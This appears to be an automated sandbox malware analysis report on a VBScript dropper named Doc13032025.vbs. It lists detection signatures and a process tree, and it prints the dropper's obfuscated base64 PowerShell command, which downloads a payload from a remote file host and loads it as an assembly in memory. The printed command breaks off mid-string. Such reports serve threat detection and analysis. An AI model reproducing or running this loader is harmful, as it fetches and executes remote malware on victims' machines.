Windows
Analysis Report
Doc13032025.vbs
Overview
General Information
Detection
Score: | 100 |
Range: | 0 - 100 |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
VBScript performs obfuscated calls to suspicious functions
Yara detected Powershell decode and execute
Yara detected Powershell download and execute
Found suspicious powershell code related to unpacking or dynamic code loading
Joe Sandbox ML detected suspicious sample
Potential malicious VBS script found (suspicious strings)
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 8384 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\Doc13 032025.vbs " MD5: A47CBE969EA935BDD3AB568BB126BC80) powershell.exe (PID: 8432 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -NoProfile -Command "$Codigo = 'J#Bm#Gw# dQB4#Gk#bw Bu#GE#b#Bp #HQ#eQ#g#D 0#I##n#HQ# e#B0#C4#Z# Bu#Gk#bQ#v #Gw#dQBv#H M#LwB1#GU# LgBz#G4#Z# B5#C4#b#B1 #G8#Z#Bl#H I#bwBt#C8# Lw#6#H##d# B0#Gg#Jw#7 #CQ#cQB1#G E#Z#By#Gk# bgB2#GE#cg Bp#GE#bgB0 #C##PQ#g#C Q#ZgBs#HU# e#Bp#G8#bg Bh#Gw#aQB0 #Hk#I##t#H I#ZQBw#Gw# YQBj#GU#I# #n#CM#Jw#s #C##JwB0#C c#Ow#k#HM# YQBp#HI#aQ Bu#Gc#I##9 #C##JwBo#H Q#d#Bw#HM# Og#v#C8#MQ #w#DE#OQ#u #GY#aQBs#G U#bQBh#Gk# b##u#GM#bw Bt#C8#YQBw #Gk#LwBm#G k#b#Bl#C8# ZwBl#HQ#Pw Bm#Gk#b#Bl #Gs#ZQB5#D 0#WgBy#Es# V#BO#G8#LQ Bf#EQ#TQBX #Gc#bQ#w#G 8#bwBu#FM# cg#5#Dc#Sg BB#Gs#Z#By #FU#cQBi#E k#QwBW#GU# Rw#y#Ew#bQ B1#GM#b#B6 #HU#TwBO#D I#WgBh#HY# SwBx#HM#UQ Bn#D##TgBx #EM#a#BT#E w#V##0#EE# JgBw#Gs#Xw B2#Gk#Z##9 #DM#N##y#D g#M##z#GQ# MQBj#GM#N# Bl#DM#Yg#4 #D##MQ#3#D Q#MQ#2#D## Ng#5#Dc#N# Bi#Dc#O#Bl #GI#MQ#n#D s#J#Bs#G8# awBv#HI#eQ Bz#C##PQ#g #E4#ZQB3#C 0#TwBi#Go# ZQBj#HQ#I# BT#Hk#cwB0 #GU#bQ#u#E 4#ZQB0#C4# VwBl#GI#Qw Bs#Gk#ZQBu #HQ#Ow#k#F M#YQBs#GU# cwBp#GE#bg Bz#C##PQ#g #CQ#b#Bv#G s#bwBy#Hk# cw#u#EQ#bw B3#G4#b#Bv #GE#Z#BE#G E#d#Bh#Cg# J#Bz#GE#aQ By#Gk#bgBn #Ck#Ow#k#G Q#eQBu#GE# bQBv#Gc#ZQ Bu#C##PQ#g #Fs#UwB5#H M#d#Bl#G0# LgBU#GU#e# B0#C4#RQBu #GM#bwBk#G k#bgBn#F0# Og#6#FU#V# BG#Dg#LgBH #GU#d#BT#H Q#cgBp#G4# Zw#o#CQ#Uw Bh#Gw#ZQBz #Gk#YQBu#H M#KQ#7#CQ# bQBl#HM#a# Bl#HM#I##9 #C##Jw#8#D w#QgBB#FM# RQ#2#DQ#Xw BT#FQ#QQBS #FQ#Pg#+#C c#Ow#k#HU# bgBk#GU#cg Bj#Gw#dQBi #C##PQ#g#C c#P##8#EI# QQBT#EU#Ng #0#F8#RQBO #EQ#Pg#+#C c#Ow#k#Gw# bwBk#Gc#ZQ Bt#GU#bgB0 #HM#I##9#C ##J#Bk#Hk# bgBh#G0#bw Bn#GU#bg#u #Ek#bgBk#G U#e#BP#GY# K##k#G0#ZQ Bz#Gg#ZQBz #Ck#Ow#k#G Y#cgBp#HM# awBl#HQ#cw #g#D0#I##k #GQ#eQBu#G E#bQBv#Gc# ZQBu#C4#SQ Bu#GQ#ZQB4 #E8#Zg#o#C Q#dQBu#GQ# ZQBy#GM#b# B1#GI#KQ#7 #CQ#b#Bv#G Q#ZwBl#G0# ZQBu#HQ#cw #g#C0#ZwBl #C##M##g#C 0#YQBu#GQ# I##k#GY#cg Bp#HM#awBl #HQ#cw#g#C 0#ZwB0#C## J#Bs#G8#Z# Bn#GU#bQBl #G4#d#Bz#D s#J#Bs#G8# Z#Bn#GU#bQ Bl#G4#d#Bz #C##Kw#9#C ##J#Bt#GU# cwBo#GU#cw #u#Ew#ZQBu #Gc#d#Bo#D s#J#Bz#HU# c#Bl#HI#dg Bp#HI#aQBs #Gk#d#B5#C ##PQ#g#CQ# ZgBy#Gk#cw Br#GU#d#Bz #C##LQ#g#C Q#b#Bv#GQ# ZwBl#G0#ZQ Bu#HQ#cw#7 #CQ#b#Bp#G 8#Z#Bl#HI# YQ#g#D0#I# #k#GQ#eQBu #GE#bQBv#G c#ZQBu#C4# UwB1#GI#cw B0#HI#aQBu #Gc#K##k#G w#bwBk#Gc# ZQBt#GU#bg B0#HM#L##g #CQ#cwB1#H ##ZQBy#HY# aQBy#Gk#b# Bp#HQ#eQ#p #Ds#J#Bt#G E#cgBh#GI# bwB1#HQ#cw #g#D0#I#Bb #FM#eQBz#H Q#ZQBt#C4# QwBv#G4#dg Bl#HI#d#Bd #Do#OgBG#H I#bwBt#EI# YQBz#GU#Ng #0#FM#d#By #Gk#bgBn#C g#J#Bs#Gk# bwBk#GU#cg Bh#Ck#Ow#k #GM#bwBu#H Q#cgBp#HQ# aQBv#G4#I# #9#C##WwBT #Hk#cwB0#G U#bQ#u#FI# ZQBm#Gw#ZQ Bj#HQ#aQBv #G4#LgBB#H M#cwBl#G0# YgBs#Hk#XQ #6#Do#T#Bv #GE#Z##o#C Q#bQBh#HI# YQBi#G8#dQ B0#HM#KQ#7 #CQ#YwBv#G w#c#Bv#HI# cgBo#GU#e# Bp#HM#I##9 #C##WwBk#G 4#b#Bp#GI# LgBJ#E8#Lg